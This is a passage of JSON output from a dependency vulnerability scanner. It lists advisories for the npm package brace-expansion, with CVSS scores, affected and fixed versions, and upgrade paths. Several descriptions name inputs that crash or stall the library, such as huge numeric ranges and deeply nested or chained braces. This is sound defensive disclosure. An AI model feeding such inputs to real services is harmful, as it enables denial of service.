[GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", 